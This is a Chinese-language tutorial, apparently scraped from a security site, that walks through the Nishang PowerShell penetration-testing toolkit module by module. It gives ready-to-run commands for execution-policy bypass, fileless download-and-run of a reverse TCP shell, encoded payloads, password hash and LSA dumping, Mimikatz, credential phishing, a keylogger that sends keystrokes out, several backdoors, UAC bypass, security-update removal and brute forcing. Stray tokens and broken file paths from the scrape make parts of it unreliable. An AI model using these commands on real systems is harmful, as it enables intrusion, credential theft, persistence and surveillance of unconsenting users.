Powershell 滲透測試工具-Nishang

Powershell 滲透測試工具-Nishang

http://p5.qhimg.com/t014034b9dcf5c9e75b.png

 

做者:V1ct0rphp

稿費:500RMB(不服你也來投稿啊!)css

投稿方式:發送郵件至linwei#360.cn,或登錄網頁版在線投稿html

傳送門nginx

【技術分享】Powershell 滲透測試工具-Nishang(一)git

 

0x00 介紹github

Powershell用於滲透測試其實早在多年前就已經被提出了。利用Powershell,攻擊者能夠在無需接觸磁盤的狀況下執行命令等,而且相較已經被你們普遍關注並防護的Cmd而言,Powershell並不是那麼的引人矚目。Nishang是基於PowerShell的滲透測試專用工具。它集成了框架、腳本和各類payload,可以幫助滲透測試人員在對Windows目標的全過程檢測中使用,是一款來源於做者實戰經歷的智慧結晶。至今,Nishang最新版本已爲v0.67了。本文我將具體介紹這款實用的Powershell滲透測試工具。sql

 

0x01 使用shell

要使用Nishang,咱們首先須要在[做者的Github]上面下載它,以後加載這些腳本。 windows

Nishang須要咱們的Powershell版本在v3以上才能使用,這裏順便提供兩種查看當前咱們當前Powershell版本的方法: 瀏覽器

1.直接在咱們的Powershell下執行」get-host」命令: 

http://p7.qhimg.com/t0174aabb5199bc3dcd.jpg

2.咱們還能夠在Powershell下執行」$PSVersionTable.PSVersion」: 

http://p4.qhimg.com/t01e2de2a01b2df6d75.jpg

須要知道的是:

 

默認狀況下的Server OS 對應的 Powershell的版本:
Windows 2008 R2   -   Version 2
Windows 2012      -   Version 3
Windows 2012 R2   -   Version 4
Windows 2016      -   Version 5

如今咱們須要加載咱們的腳本:

PS D:nishang-master> Import-Module .nishang.psm1

你可能會遇到下面的問題: 

http://p2.qhimg.com/t013d3c74fc20686b62.jpg

這是由於咱們Powershell的默認的執行策略是Restricted的,而Restricted是不容許任何腳本運行的,咱們可使用下面的命令來來查看當前的執行策略:

PS D:nishang-master> Get-ExecutionPolicy

這裏咱們須要將執行模式改成RemoteSigned,這樣就能夠執行其餘用戶的腳本了:

PS D:nishang-master> set-executionpolicy remotesigned //這須要在管理員的狀態下執行

如今,咱們就能夠正常進行加載了。 

固然,上面是基於咱們在本地進行測試的狀況下,若是是在真實的攻擊場景之下,咱們仍是不宜去作一些全局策略的更改的,這裏簡單推薦幾個Bypass執行策略的Tricks:

 

0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //設置當前用戶的執行策略爲Unrestricted,也算是去更改了當前的全局策略 1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面這種,-Windowstyle hidden 可讓咱們的執行無任何彈窗 2. PowerShell.exe -ExecutionPolicy Bypass -File

想了解更多姿式,你們能夠看看Bypass執行策略的十五種方法: 

https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

而後,咱們使用Dot Sourcing的方式來加載獨立的腳本:

PS D:nishang-master> ."D:nishang-masterGatherGet-Information.ps1"

在以後的使用中,咱們可使用」Get-Help」命令來獲取當前腳本的用法和說明等,如:

 

PS D:nishang-master> ."D:nishang-masterGatherGet-WLAN-Keys.ps1 PS D:nishang-master> Get-Help Get-Wlan-Keys

http://p1.qhimg.com/t013508b17e3145aec3.jpg

還須要說的一點是,咱們能夠在Powershell中使用」 Out-File」來將咱們的執行結果導出到文件中,如:

PS D:nishang-master> Get-Information | Out-File res.txt

就能夠把獲取到的信息保存在res.txt中了。 

最後,須要介紹兩種在內存當中去加載腳本的方式 

第一種:

powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.] //

這裏IEX能夠遠程下載咱們的腳本

第二種,咱們能夠在Powershell中使用Invoke-Encode腳原本將咱們現有的腳本編碼壓縮,生成編碼後的內容,過程以下:

 

PS D:nishang-master> Invoke-Encode -DataToEncode "D:nishang-masterShellsInvoke-PowerShellTcp.ps1" -OutCommand Encoded data written to .encoded.txt Encoded command written to .encodedcommand.txt

在咱們的encodedcommand.txt文件中咱們能夠看到編碼後的內容和效果: 

http://p5.qhimg.com/t01bdaf5e1a9ab9830c.jpg

而後在目標上(Web shell,meterpreter native shell等均可以)使用以下命令執行:

C:Userstarget> powershell -e [encodedscript]

這裏涉及到的Invoke-PowerShellTcp腳本,咱們將在後文對於具體模塊的腳本介紹時談到。

 

0x02 模塊介紹

0.信息蒐集

Check-VM

從這個腳本的名字就能夠看出來,它是用於檢測當前的機器是不是一臺已知的虛擬機的。它經過檢測已知的一些虛擬機的指紋信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)來識別。 

執行方式:

PS > Check-VM

測試

http://p9.qhimg.com/t01de842df92ec8ac01.jpg

Copy-VSS

這個腳本利用Volume Shadow Copy 服務來複製出SAM文件。若是這個腳本運行在了DC機上ntds.dit和SYSTEM hive也能被拷貝出來。 

執行方式:

 

PS > Copy-VSS //將會直接把文件保存在當前路徑下 PS > Copy-VSS -DestinationDir C:temp  //指定保存文件的路徑(必須是已經存在的路徑)

測試

http://p1.qhimg.com/t011278a7d953361833.jpg

Invoke-CredentialsPhish

這個腳本是用來欺騙用戶輸入帳號密碼信息的。 

執行方式:

PS > Invoke-CredentialsPhish

測試

http://p2.qhimg.com/t01ebc9a71ca3930b4d.jpg

執行後會彈出這個框欺騙用戶輸入 

直到用戶輸入正確後這個框纔會消失,而後咱們就能夠獲得明文的管理員帳號密碼:

http://p3.qhimg.com/t019564c00d489f7c2c.jpg

FireBuster FireListener

FireBuster能夠對內網進行掃描,它會把包發給FireListener 

執行方式:

 

PS > FireBuster 10.10.10.10 1000-1020 PS > FireListener -portrange 1000-1020

該腳本做者的Github上面還提供了一個Python版的監聽端: 

https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/ 

測試 

咱們首先在咱們的機器(Attacker)上面運行FireListener:

FireListener 100-110

http://p9.qhimg.com/t01ad16795412c5d79d.jpg

Victim:

FireBuster 192.168.199.1 90-110 -Verbose

http://p0.qhimg.com/t01b5213809308e427a.jpg

Get-Information

這個腳本能夠獲取目標機器上大量的信息(FTP訪問,進程,計算機配置信息,無線網絡和設備的信息,Hosts信息等等非超豐富)。 

執行方式:

PS > Get-Information

http://p4.qhimg.com/t010d6feb1a3c405e6a.jpg

還能夠用咱們前面說過的Out-File來將運行結果保存到指定文件。

Get-LSASecret

該腳本能夠獲取LSA信息,可是使用的前提固然是你已經成功提高了權限的狀況下,一般和咱們後面提權當中涉及到的Enable-DuplicateToken(幫助咱們得到System權限)聯合使用。 

執行方式:

 

PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //還能夠指定鍵名

Get-PassHashes

這個腳本在Administrator的權限下,能夠dump出密碼哈希值。這個腳原本自於msf中powerdump,但作出了修改,使得咱們再也不須要System權限就能夠dump了。 

執行方式:

PS > Get-PassHashes -PSObjectFormat //可使用-PSObjectFormat來格式化輸出結果

http://p5.qhimg.com/t01be58eee4d7e09c5d.jpg

Get-WLAN-Keys

在Administrator的權限下,能夠利用這個腳原本dump出WLAN文件的密鑰信息。實質上,這個腳本就是利用了netsh wlan show profile name=」」 key=clear來獲取。 

執行方式:

PS > Get-WLAN-Keys

Keylogger

Keylogger能夠保存下用戶的鍵盤記錄。 

執行方式:

 

PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis  //-CheckURL參數會去檢查所給出的網頁之中是否包含 -MagicString後的字符串,若是存在的話就中止使用記錄。 PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //將記錄指定發送給一個能夠記錄Post請求的Web服務器 PS > .Keylogger.ps1 -persist //實現持久化記錄(重啓後依然進行記錄) PS > .Keylogger.ps1 //直接以這種方式來運行,鍵盤記錄會保存在當前用戶的Temp目錄下key文件中

測試 

首先執行 PS > .Keylogger.ps1

http://p1.qhimg.com/t01a15eeb50aecf23d6.jpg

發如今當前用戶的Temp目錄下生成了Key的文件,這時咱們使用nishang Utility中的Parse_Keys來解析

PS >Parse_Keys .key.log .parsed.txt

而後parsed.txt裏面就是解析後的按鍵記錄了

http://p6.qhimg.com/t010484abdcf764db43.jpg

Invoke-MimikatzWdigestDowngrade

Dump出Windows 8.1 and Server 2012的系統用戶密碼。 

執行方式:

 

PS >Invoke-MimikatzWDigestDowngrade PS > Get-Job | Receive-Job

執行了

PS >Invoke-MimikatzWDigestDowngrade

Windows會鎖屏

http://p2.qhimg.com/t01ca15a4ca59079514.jpg

以後執行

Get-Job

發現嘗試屢次都測試失敗

http://p3.qhimg.com/t01c3b609b3cb7c9930.jpg

解決辦法能夠參考: 

[域滲透——Dump Clear-Text Password after KB2871997 installed]

Get-PassHints

這個腳本能夠從Windows得到用戶的密碼的提示信息,須要有Administrator的權限來讀取SAM hive。 

執行方式:

PS > Get-PassHints

Show-TargetScreen

使用MJPEG傳輸目標機器的遠程桌面的實時畫面,在本機咱們可使用NC或者Powercat來進行監聽。在本地使用支持MJPEG的瀏覽器(如:Firefox)訪問本機對應監聽端口,便可在瀏覽器上面看到遠端傳輸回來的實時畫面。

PS > Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443  //將遠程的畫面傳送到192.168.230.1的443端口

測試 

Victim:

Show-TargetScreen -IPAddres 192.168.199.127 -Port 5773 -Reverse

Attacker:

nc.exe -nlvp 5773 | nc.exe -nlvp 9000 //這裏我使用的NC,也能夠用Powercat

本機訪問:127.0.0.1:9000

http://p2.qhimg.com/t016ade56c6c650bc2e.jpg

Invoke-Mimikatz

Mimikatz你們都很是熟悉了,就再也不介紹了 

執行方式:

 

Invoke-Mimikatz -DumpCerts //Dump出本機的憑證信息 Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出遠程兩臺計算機的憑證信息 Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在遠程一臺機器上運行Mimikatz並執行"privilege::debug exit"

1.域相關腳本

Get-Unconstrained

查找域內開啓了Kerberos Unconstrained Delegation的機器。 

執行方式:

 

PS > Get-Unconstrained //返回開啓的計算機名 PS > Get-Unconstrained -Details  //返回更詳細的信息

關於」經過Kerberos Unconstrained Delegation獲取到域管理員」: 

http://www.freebuf.com/articles/terminal/98530.html

2.Antak Webshell

Antak

一個ASPX的Webshell,經過這個Webshell能夠編碼、執行腳本,上傳、下載文件。 

http://p6.qhimg.com/t01d433e9d1efbcd1bb.png

執行方式:

 

上傳Webshell後把它當成一個正常的Powershell執行窗口來使用
上傳和下載文件,只須要填寫好對應路徑點擊上傳、下載按鈕便可

關於Antak Webshell的更多介紹,請參考: 

http://www.labofapenetrationtester.com/2014/06/introducing-antak.html

3.後門

HTTP-Backdoor

HTTP-Backdoor能夠幫助咱們在目標機器上下載和執行Powershell腳本 

執行方式:

PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis

下面解釋下幾個比較重要的參數:

 

CheckURL 給出一個URL地址,若是存在咱們MagicString中的值就去執行Payload - 下載運行咱們的腳本 PayloadURL 這個參數給出咱們須要下載的Powershell腳本的地址 Arguments 這個參數指定咱們要執行的函數 StopString 這個參數也會去看是否存在咱們CheckURL返回的字符串,若是存在就會中止執行

DNS_TXT_Pwnage

利用DNS隧道來進行信息傳輸、通訊的小技巧已經很多見了。在Nishang中也集成了一個經過DNS TXT來接收命令或者腳本的後門腳本。使用DNS_TXT_Pwnage這個腳本,咱們通常須要配合Utility下的Out-DnsTxt使用。 

因此這裏首先說下Out-DnsTxt的使用:

PS >Out-DnsTxt -DataToEncode path //path處是你想編碼的內容的路徑

以後,它會生成一個編碼後的文件,以下圖所示

http://p8.qhimg.com/t01bee5299c255b52cd.jpg

而後咱們去添加對應的TXT記錄就好了,encoded.txt文件中每一行爲一條記錄 

添加完後咱們還須要添加兩條TXT記錄,內容爲start和stop 

添加完成後,咱們就能夠利用DNS_TXT_Pwnage這個腳本了 

執行方式:

PS >DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains 1 -StopString stop

具體參數的意思:

 

startdomain 會一直去檢測咱們指定域名的TXT記錄,並把返回的記錄與咱們輸入的cmdstring以及psstring進行比較 cmdstring 是咱們任意輸入的字符串,若是startdomain與咱們這裏輸入的cmdstring值相等則執行commanddomain命令 commanddomain 建立的執行命令TXT記錄的域名 psstring 是咱們任意輸入的字符串,若是與咱們這裏輸入的psstring值相等則執行psdomain腳本 psdomain 是咱們建立的執行腳本TXT記錄的域名 Subdomains 是執行腳本建立TXT記錄的個數 StopString 是任意輸入的字符串,若是這裏輸入的字符串與startdomain中返回的記錄相同將會中止執行咱們的Payload Arguments 指定要執行的函數名

Execute-OnTime

執行方式:

PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload

具體參數的意思:

 

PayloadURL 指定咱們腳本下載的地址 Arguments 指定執行的函數名 Time 參數能夠設定腳本執行的時間(例如 -Time 23:21) CheckURL 參數會檢測咱們一個指定的URL內容是否存在StopString給出的字符串,若是發現了就中止執行

Gupt-Backdoor

Gupt-Backdoor這個腳本能夠幫助咱們經過無線SSID反彈後門和執行命令。 

執行方式:

PS >Gupt-Backdoor -MagicString test -Verbose

這裏解釋一下MagicString這個參數: 

MagicString開頭的4個字符是用來識別咱們創建的WIFI SSID的。例如,這裏是test,Gupt後門會去自動匹配咱們WIFI中SSID以test開頭的。而MagicString這個參數從第五個字符開始就決定了咱們是執行命令或是下載腳本。 

須要注意的是:

若是它的第五個字符是c就表明執行命令。 

例如:-MagicString testcwhoami 

就會匹配WIFI SSID爲test的,並執行命令whoami

若是它的第五個字符是u的話就表明下載腳本。 

例如:-MagicString testuXXXX 

就會匹配WIFI SSID爲test的,並默認下載http://goo.gl/XXXX 

(其中http://goo.gl可在腳本的$PayloadURL參數中修改)

還能夠用Arguments參數來指定下載腳本 

例如: 

PS >Gupt-Backdoor -MagicString test -Argument Get-Information -Verbose 

就能夠下載Get-Information的腳本了

補充 

Windows下建立一個WIFI:

 

cmd
netsh wlan set hostednetwork mode=allow netsh wlan set hostednetwork ssid=test key=1234567890 netsh wlan start hostednetwork

Add-ScrnSaveBackdoor

這個腳本能夠幫助咱們利用Windows的屏保來留下一個隱藏的後門 

執行方式:

 

PS >Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" //使用這條語句能夠執行咱們本身的Payload PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor  http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis //利用這條命令能夠從powershell執行一個HTTP-Backdoor PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1  //還可使用msfvenom先生成一個powershell (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell),而後利用這條命令返回一個meterpreter

其餘具體的參數的意思和咱們上面介紹的一些後門是相似的

 

PayloadURL 指定咱們須要下載的腳本地址 Arguments 指定咱們要執行的函數以及相關參數

Invoke-ADSBackdoor

這個腳本是使用NTFS數據流留下一個永久性後門。其實,由NTFS數據流帶來的一些安全問題的利用並很多見了(如:利用NTFS數據流在Mysql UDF提權中建立lib/plugin目錄),你們能夠參考《NTFS ADS帶來的WEB安全問題》 

這個腳本能夠向ADS中注入代碼而且以普通用戶權限運行 

執行方式:

 

PS >Invoke-ADSBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin. com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis

這個腳本主要有兩個參數,在上面介紹其餘後門當中已經說明了,這裏是相似的 

須要說明的是,執行後它會在AppData的目錄下創建一個ads並把咱們的Payload注入進去,若是咱們但願在cmd下看到咱們這裏創建的ads,須要使用:dir /a /r

4.客戶端

對於這一部分的腳本,我就再也不贅述了,由於網上早已經有了對於這一部分腳本的介紹說明: 

使用Powershell Client進行有效釣魚

5.權限提高

Enable-DuplicateToken

這個腳本能夠幫助咱們在已經得到了必定權限的狀況下,使咱們提高到System權限。 

執行方式

PS > Enable-DuplicateToken

具體的相關介紹能夠查閱: 

https://blogs.technet.microsoft.com/heyscriptingguy/2012/07/05/use-powershell-to-duplicate-process-tokens-via-pinvoke/

Remove-Update

這個腳本能夠幫助咱們移除系統全部的更新,或全部安全更新,以及指定編號的更新。 

執行方式:

 

PS > Remove-Update All       //移除目標機器上的全部更新 PS > Remove-Update Security  //移除目標機器上全部安全相關更新 PS > Remove-Update KB2761226 //移除指定編號的更新

Invoke-PsUACme

Invoke-PsUACme使用了來自於UACME項目的DLL來Bypass UAC。

http://p9.qhimg.com/t01c9d46ef0d4616a20.jpg

上表給出了各類UAC繞過的方法,咱們能夠在Invoke-PsUACme中指定相應方法執行。 

執行方式:

 

PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默認的Payload執行 PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默認的Payload執行 PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload參數能夠自行指定要執行的Payload

除開以上而外,咱們還可使用-PayloadPath參數來指定Payload的路徑,默認狀況下Payload會在C:WindowsTempcmd.bat結束。還可使用-CustomDLL64(64位)或-CustomDLL32(32位)參數來自定義一個DLL文件。

6.掃描

Invoke-BruteForce

這個腳本能夠對SQL Server、域控制器、Web以及FTP進行口令的爆破 

執行方式:

 

PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破域控制器 PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose  //爆破SQL Server PS > cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose  //爆破server.txt中全部servers的SQL Server

主要的參數:

 

ComputerName 用於指定對應服務的計算機名 UserList 用戶名字典 PasswordList 密碼字典 Service 服務類型(注意默認爲:SQL) StopOnSuccess 成功找到一個後就中止執行

Invoke-PortScan

利用這個腳本咱們能夠在目標機器上對內網進行端口掃描 

執行方式:

PS >Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80

主要的參數:

 

StartAddress 掃描範圍開始的地址 EndAddress 掃描範圍結束的地址 ScanPort 進行端口掃描 Port 指定掃描端口(默認掃描端口:21,22,23,53,69,71,80,98,110,139,111,  389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901) TimeOut 設置超時時間

7.中間人

Invoke-Interceptor

這個腳本能夠經過創建一個代理服務器的方式來攔截HTTPS的請求,並將這些請求記錄下來 

執行方式:

PS >Invoke-Interceptor -ProxyServer 192.168.230.21 -ProxyPort 3128 //這條命令將默認在8081端口監聽並把請求發送給上游代理的3128端口

能夠經過ListenPort來修改咱們目標機器上的監聽端口(默認8081端口) 

例如 

咱們在目標機器上執行:

http://p2.qhimg.com/t01108504b824418a77.jpg

而後這裏本機我用NC來監聽對應端口:

http://p2.qhimg.com/t015396b289b83165bf.jpg

接收到了來自目標機的請求數據 

而且這個腳本會在目標機的TEMP目錄下生成interceptor.log的文件來記錄請求數據

http://p2.qhimg.com/t0108af44f2c3f7f555.jpg

 

0x03 結語

Nishang這款基於PowerShell的滲透測試專用工具集成了很是多實用的腳本與框架,方便咱們在滲透測試過程之中使用。儘管,在一些環境下咱們可能沒有辦法去執行Powershell,可是經過查看這些腳本的具體代碼,咱們也能夠本身去完成實現腳本提供的一些功能。限於篇幅,本文只能拋磚引玉地介紹Nishang的部分功能,但願你們可以在實際的應用之中去體驗。

 

參考

1. http://www.labofapenetrationtester.com/ 

2. https://github.com/samratashok/nishang/

相關文章
相關標籤/搜索